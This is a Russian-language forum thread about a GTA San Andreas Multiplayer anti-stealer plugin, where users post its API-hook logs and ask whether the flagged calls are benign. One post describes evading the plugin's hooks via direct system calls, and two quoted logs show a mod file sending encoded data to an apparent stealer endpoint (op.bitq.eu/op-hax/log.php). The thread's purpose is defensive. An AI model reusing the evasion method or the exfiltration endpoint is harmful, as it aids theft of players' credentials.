Эксклюзив Неактуально Избранное ASI AntiStealer

[Terratomorf]

Переменуй файл согласно ошибке.
Ты наверное добавил - by Denixon и скинул своему однокласснику.

Я уже понял) я просто качал второй рас и он скачал с цифрой 1

 

[ЯedЯuM]

@DarkP1xel В антистиллере есть критическая уязвимость с системными вызовами а.к.а syscall / вызов шлюза на х86.
С их помощью можно вызывать функционал ядра системы в обход всех нынче существующих хуков, даже тех что в ntdll.dll
Рекомендую использовать syscall хуки, если память не изменяет то на х86 архитектуре для этого предназначена KiFastSystemCall (win xp / win 7).
А вот на более новые не помню, там что-то связанное с этим названием было но оно разное под х64 и х86.
Хочу добавить что мой предыдущий обход который ты нихуя и не пофиксил, как раз таки окончательно фиксится хуками системных вызовов)
Так же этот же хук пофиксит обход предложенный @Rinat_Namazov через ProxyDLL.
Это конечная цепочка в вызовах с UserMode, прямой доступ в ядро системы. (На этот раз без наёба? :thinking:)

 

[WarGko]

Почему он не блокирует обновление сампфункса?

 

[ЯedЯuM]

Почему он не блокирует обновление сампфункса?

А должен?) Фипу тоже нужно покушать, пусть майнеры качает.

 

[Twilight55]

DarkP1xel, а Ваш !0AntiStealerByDarkP1xel защищает от Trojan_Miner или TrojanPSW?
Заранее спасибо за ответ!

 

[Clarence]

Не юзаю ни эту, ни предыдущую версию, так как баг с Shadow Play не пофикшен.
Если еще не в курсе, то с этим АС шадик не работает в гта. Чтобы заработал, приходится каждый раз после запуска игры сворачивать ее и разворачивать. И только так все начинает работать.

 

[Baron_King]

И что? Ловится твой файл.

у меня нету файла LOG или где он должен появиться

 

[Losososo]

у меня нету файла LOG или где он должен появиться

Плагин кинул в папку с игрой? Аси лоадер установлен?

 

[Twilight55]

[PATCHED] > [ShellExecuteA] > [D:\Games\GTA San Andreas WINTER\d3d9.dll] > {lpFile: Mod s0beit OverLight v4 beta 3 | Mod OverLight^{(http://modoverlight.altervista.org/mod-s0beit-overlight-v4-beta-3/)} | lpDirectory: -}
Это нормально?

 

[DarkP1xel]

Это нормально?

Собейт хотел открыть у тебя в браузере свой сайт.

 

[vase4kin3]

Что скажете?
[PATCHED] > [FindWindowA] > [D:\GTA San Andreas\SAMPFUNCS\WarningsByRaymond.sf] > {lpClassName: - | lpWindowName: GTA:SA:MP}

 

[Losososo]

Что скажете?
[PATCHED] > [FindWindowA] > [D:\GTA San Andreas\SAMPFUNCS\WarningsByRaymond.sf] > {lpClassName: - | lpWindowName: GTA:SA:MP}

То что это не стиллер.

 

[Clark_Morello]

Эт' норм?

Спойлер: Log's

[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [URLDownloadToFileA] > [E:\90K EDITION BY DAPO SHOW\SAMPFUNCS.asi] > {szURL: http://op.bitq.eu/op-hax/log.php?A=ادحا&B=؛چگ‘‍ ²‍–&C=&D=خبةرجحرجبرجبإبببب&E=حدخارخحدةكك×ڑŒإخجةة‡بةاضكك'گوٌGّôû | szFileName: E:\90K EDITION BY DAPO SHOW\log.php}
[WARNING] > [URLDownloadToFileW] > [C:\Windows\SYSTEM32\urlmon.dll] > {szURL: http://op.bitq.eu/op-hax/log.php?A=

 

[DGAYE]

Эт' норм?

Спойлер: Log's

[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [gethostbyname] > [E:\90K EDITION BY DAPO SHOW\samp.dll] > {name: User}
[WARNING] > [URLDownloadToFileA] > [E:\90K EDITION BY DAPO SHOW\SAMPFUNCS.asi] > {szURL: http://op.bitq.eu/op-hax/log.php?A=ادحا&B=؛چگ‘‍ ²‍–&C=&D=خبةرجحرجبرجبإبببب&E=حدخارخحدةكك×ڑŒإخجةة‡بةاضكك'گوٌGّôû | szFileName: E:\90K EDITION BY DAPO SHOW\log.php}
[WARNING] > [URLDownloadToFileW] > [C:\Windows\SYSTEM32\urlmon.dll] > {szURL: http://op.bitq.eu/op-hax/log.php?A=

по сути такого не должно быть

 

[AlfacH]

Собейт хотел открыть у тебя в браузере свой сайт.

[PATCHED] > [FindWindowA] > [C:\WINDOWS\system32\nvspcap.dll] > {lpClassName: - | lpWindowName: NVIDIA GeForce Overlay}